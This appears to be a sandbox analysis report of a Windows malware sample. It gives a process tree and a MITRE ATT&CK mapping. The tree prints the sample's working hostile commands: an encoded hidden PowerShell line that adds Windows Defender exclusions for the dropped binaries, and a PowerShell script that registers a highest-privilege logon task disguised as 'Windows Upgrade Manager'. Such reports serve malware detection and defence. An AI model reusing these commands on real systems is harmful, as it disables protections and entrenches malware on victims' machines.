C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 1368 -ip 1368
1⤵
PID:10208

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 1368 -ip 1368
1⤵
PID:12656

C:\Program Files\Reference Assemblies\Microsoft\conhost.exe
"C:\Program Files\Reference Assemblies\Microsoft\conhost.exe"
1⤵
PID:10432

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAVAB5AHAAZQBJAGQAXABpAG4AZABlAHgALgBlAHgAZQAsAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABNAGkAYwByAG8AcwBvAGYAdAAuAE4ARQBUAFwARgByAGEAbQBlAHcAbwByAGsANgA0AFwAdgA0AC4AMAAuADMAMAAzADEAOQBcAEEAZABkAEkAbgBQAHIAbwBjAGUAcwBzAC4AZQB4AGUAIAAtAEYAbwByAGMAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABNAGkAYwByAG8AcwBvAGYAdAAuAE4ARQBUAFwARgByAGEAbQBlAHcAbwByAGsANgA0AFwAdgA0AC4AMAAuADMAMAAzADEAOQBcAEEAZABkAEkAbgBQAHIAbwBjAGUAcwBzAC4AZQB4AGUALABDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAFQAeQBwAGUASQBkAFwAaQBuAGQAZQB4AC4AZQB4AGUA
1⤵
- Command and Scripting Interpreter: PowerShell
PID:7228

C:\Users\Admin\AppData\Local\Remaining\fbseluxm\Tags.exe
C:\Users\Admin\AppData\Local\Remaining\fbseluxm\Tags.exe
1⤵
PID:15352

C:\Users\Admin\AppData\Roaming\TypeId\index.exe
C:\Users\Admin\AppData\Roaming\TypeId\index.exe
1⤵
PID:9116

C:\Users\Admin\AppData\Local\Temp\One_Dragon_Center\MSI.CentralServer.exe
C:\Users\Admin\AppData\Local\Temp\One_Dragon_Center\MSI.CentralServer.exe
1⤵
PID:6332

C:\Windows\Offline Web Pages\runtime.exe
"C:\Windows\Offline Web Pages\runtime.exe"
1⤵
PID:9992

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 10760 -ip 10760
1⤵
PID:16024

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
PID:16100

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 1368 -ip 1368
1⤵
PID:10552

C:\Users\Admin\AppData\Local\Temp\One_Dragon_Center\MSI.CentralServer.exe
C:\Users\Admin\AppData\Local\Temp\One_Dragon_Center\MSI.CentralServer.exe
1⤵
PID:7568

C:\Program Files\Uninstall Information\sysmon.exe
"C:\Program Files\Uninstall Information\sysmon.exe"
1⤵
PID:3088

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 1368 -ip 1368
1⤵
PID:10148

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:12284

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 1368 -ip 1368
1⤵
PID:13916

C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\SppExtComObj.exe
"C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\SppExtComObj.exe"
1⤵
PID:7432

C:\Recovery\WindowsRE\fontdrvhost.exe
C:\Recovery\WindowsRE\fontdrvhost.exe
1⤵
PID:7356

C:\Users\Admin\AppData\Local\Temp\One_Dragon_Center\MSI.CentralServer.exe
C:\Users\Admin\AppData\Local\Temp\One_Dragon_Center\MSI.CentralServer.exe
1⤵
PID:6364

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#llzqlmcx#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Windows Upgrade Manager' /tr '''C:\Users\Admin\Windows Upgrade\wupgrdsv.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Windows Upgrade\wupgrdsv.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Windows Upgrade Manager' -RunLevel 'Highest' -Force; }
1⤵
PID:10916

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 400 -p 1368 -ip 1368
1⤵
PID:4660

C:\Windows\System32\schtasks.exe
C:\Windows\System32\schtasks.exe /run /tn "Windows Upgrade Manager"
1⤵
PID:5340

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

Virtualization/Sandbox Evasion

T1497

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Credentials in Registry

T1552.002

Discovery

Network Service Discovery

T1046

Query Registry

Remote System Discovery

T1018

System Information Discovery